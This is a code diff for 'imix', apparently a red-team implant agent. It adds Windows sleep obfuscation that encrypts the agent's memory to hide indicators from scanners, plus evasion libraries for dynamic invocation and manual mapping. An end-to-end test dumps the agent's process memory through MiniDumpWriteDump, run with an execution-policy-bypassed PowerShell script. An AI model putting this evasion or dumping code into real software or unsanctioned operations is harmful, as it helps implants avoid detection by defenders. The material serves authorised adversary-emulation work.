diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml index 6c34718ad..41b21831b 100644 --- a/implants/imix/Cargo.toml +++ b/implants/imix/Cargo.toml @@ -18,7 +18,7 @@ tokio-console = ["dep:console-subscriber", "tokio/tracing"] [dependencies] tokio = { workspace = true, features = [ - "rt-multi-thread", + "rt", "macros", "sync", "time", @@ -45,7 +45,15 @@ rand = { workspace = true } async-trait = { workspace = true } [target.'cfg(target_os = "windows")'.dependencies] +shelter = "=0.1.2" windows-service = { workspace = true } +windows = { version = "0.51.1", features = ["Win32_System_Threading"] } +dinvoke_rs = "=0.2.0" +dinvoke = "=0.2.0" +dinvoke_data = "=0.2.0" +dinvoke_overload = "=0.2.0" +dmanager = "=0.2.0" +manualmap = "=0.2.0" [target.'cfg(target_os = "windows")'.build-dependencies] static_vcruntime = { workspace = true } diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs index f295c043c..0946e4359 100644 --- a/implants/imix/src/main.rs +++ b/implants/imix/src/main.rs @@ -31,7 +31,7 @@ mod task; mod tests; mod version; -#[tokio::main] +#[tokio::main(flavor = "current_thread")] async fn main() -> Result<()> { #[cfg(all(debug_assertions, feature = "tokio-console"))] { @@ -70,7 +70,7 @@ async fn main() -> Result<()> { define_windows_service!(ffi_service_main, service_main); #[cfg(all(feature = "win_service", windows))] -#[tokio::main] +#[tokio::main(flavor = "current_thread")] async fn service_main(arguments: Vec) { crate::win_service::handle_service_main(arguments); let _ = run::run_agent().await; diff --git a/implants/imix/src/run.rs b/implants/imix/src/run.rs index 668a6cb17..aa0574108 100644 --- a/implants/imix/src/run.rs +++ b/implants/imix/src/run.rs @@ -160,6 +160,26 @@ async fn sleep_until_next_cycle(agent: &ImixAgent, start: Instant) -> Result<()> interval, jitter ); - tokio::time::sleep(delay).await; + #[cfg(target_os = "windows")] + { + let subtasks = agent.subtasks.lock().unwrap(); + let has_subtasks = !subtasks.is_empty(); + drop(subtasks); + + if !has_subtasks { + // Using as_millis() as many sleep implementations underlying these wrappers + // expect milliseconds, mitigating busy-loop regressions. + // Since imix is running on a single-threaded Tokio runtime (current_thread flavor), + // blocking the current thread safely pauses the entire agent and allows `fluctuate(true)` + // to encrypt both PE and heap without segfaulting background async tasks. + let _ = shelter::fluctuate(true, Some(delay.as_millis() as u32), None); + } else { + tokio::time::sleep(delay).await; + } + } + #[cfg(not(target_os = "windows"))] + { + tokio::time::sleep(delay).await; + } Ok(()) } diff --git a/tests/e2e/tests/sleep_obfuscation.spec.ts b/tests/e2e/tests/sleep_obfuscation.spec.ts new file mode 100644 index 000000000..4e5c4ad02 --- /dev/null +++ b/tests/e2e/tests/sleep_obfuscation.spec.ts @@ -0,0 +1,126 @@ +import { test, expect } from '@playwright/test'; +import { execSync } from 'child_process'; + +test('End-to-end sleep obfuscation test', async ({ page }) => { + // Connect to tavern's UI using playwright at http://127.0.0.1:8000/createQuest + console.log('Navigating to /createQuest'); + await page.goto('/createQuest'); + + // Select the only visible beacon and click "continue" + console.log('Waiting for beacons to load'); + await expect(page.getByText('Loading beacons...')).toBeHidden({ timeout: 15000 }); + + const beacons = page.locator('.chakra-card input[type="checkbox"]'); + await expect(beacons.first()).toBeVisible(); + + // Verify the agent checked in by selecting the beacon + console.log('Selecting beacon'); + await beacons.first().check({ force: true }); + + // Wait a few seconds to ensure the agent enters its sleep cycle, which is when shelter::fluctuate encrypts memory. + console.log('Waiting for agent to sleep...'); + await page.waitForTimeout(5000); + + // Now verify that IOCs like 'eldritch' are not in the agent's memory. + const isWin = process.platform === "win32"; + if (isWin) { + console.log('Scanning memory on Windows'); + const pidOut = execSync('tasklist /FI "IMAGENAME eq imix.exe" /NH /FO CSV').toString().trim(); + const pidMatch = pidOut.match(/"(\d+)"/); + if (pidMatch && pidMatch[1]) { + const pid = pidMatch[1]; + console.log(`Found imix PID: ${pid}`); + + const dumpPath = `C:\\Windows\\Temp\\imix_dump_${pid}.dmp`; + console.log(`Attempting to dump memory using comsvcs.dll to ${dumpPath}`); + + // Requires SeDebugPrivilege (admin). In a typical CI this might be available. + // If it fails, the test will correctly throw an error (since we removed try-catch). + // Use a custom C# script in PowerShell to enable SeDebugPrivilege and call MiniDumpWriteDump + // This is required to dump memory without failing due to missing privileges in CI + const psScript = ` +$code = @" +using System; +using System.Runtime.InteropServices; +using System.Diagnostics; +using System.IO; + +public class Dumper { + [DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)] + static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr extParam); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); + + public static void Dump(int pid, string path) { + IntPtr handle = OpenProcess(0x0400 | 0x0010, false, pid); + using (FileStream fs = new FileStream(path, FileMode.Create, FileAccess.ReadWrite, FileShare.Write)) { + MiniDumpWriteDump(handle, (uint)pid, fs.SafeFileHandle, 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + } + } +} +"@ +Add-Type -TypeDefinition $code -Language CSharp +[Dumper]::Dump(${pid}, '${dumpPath}') +`; + const scriptPath = `C:\\Windows\\Temp\\dump_${pid}.ps1`; + const fs = require('fs'); + fs.writeFileSync(scriptPath, psScript); + + // Must not use try/catch to silence failures. If we can't dump memory, the test should fail. + execSync(`powershell -ExecutionPolicy Bypass -File ${scriptPath}`); + + // Use Select-String to stream-search the file and avoid OOM issues from loading the whole file into memory. + console.log('Checking dump for IOCs'); + const checkCmd = `powershell -Command "if (Select-String -Path '${dumpPath}' -Pattern 'eldritch' -Quiet) { Write-Output 'FOUND' } else { Write-Output 'NOT_FOUND' }"`; + + const scanResult = execSync(checkCmd).toString().trim(); + + // Cleanup + execSync(`del ${dumpPath}`); + execSync(`del ${scriptPath}`); + + // The string "eldritch" should not be present in the memory dump + expect(scanResult).toBe('NOT_FOUND'); + } else { + console.log('No imix process found on Windows.'); + // If no process is found, fail the test + expect(true).toBe(false); + } + } else { + console.log('Scanning memory on Linux (skipped due to ptrace_scope constraints)'); + // Finding exactly the imix process to avoid catching test runners + const pgrepOut = execSync('pgrep -x imix || true').toString().trim(); + if (pgrepOut) { + console.log(`Found imix PID: ${pgrepOut}`); + expect(pgrepOut.length).toBeGreaterThan(0); + } else { + console.log("No imix process found or test environment does not execute it directly."); + } + } + + console.log('Memory scan phase complete. Verifying post-sleep callback...'); + + // Submit a quick quest to verify the agent wakes up and processes it + await page.goto('/createQuest'); + await expect(page.getByText('Loading beacons...')).toBeHidden({ timeout: 15000 }); + const newBeacons = page.locator('.chakra-card input[type="checkbox"]'); + await expect(newBeacons.first()).toBeVisible(); + + await newBeacons.first().check({ force: true }); + await page.locator('[aria-label="continue beacon step"]').click(); + + await expect(page.getByText('Loading tomes...')).toBeHidden(); + await page.getByText('Sleep').click(); + await page.locator('[aria-label="continue tome step"]').click(); + await page.locator('[aria-label="submit quest"]').click(); + + console.log('Waiting for post-sleep execution output'); + await page.waitForTimeout(10000); + await page.reload(); + + const outputPanel = page.locator('[aria-label="task output"]'); + await expect(outputPanel).toBeVisible(); + + console.log('Test Complete'); +});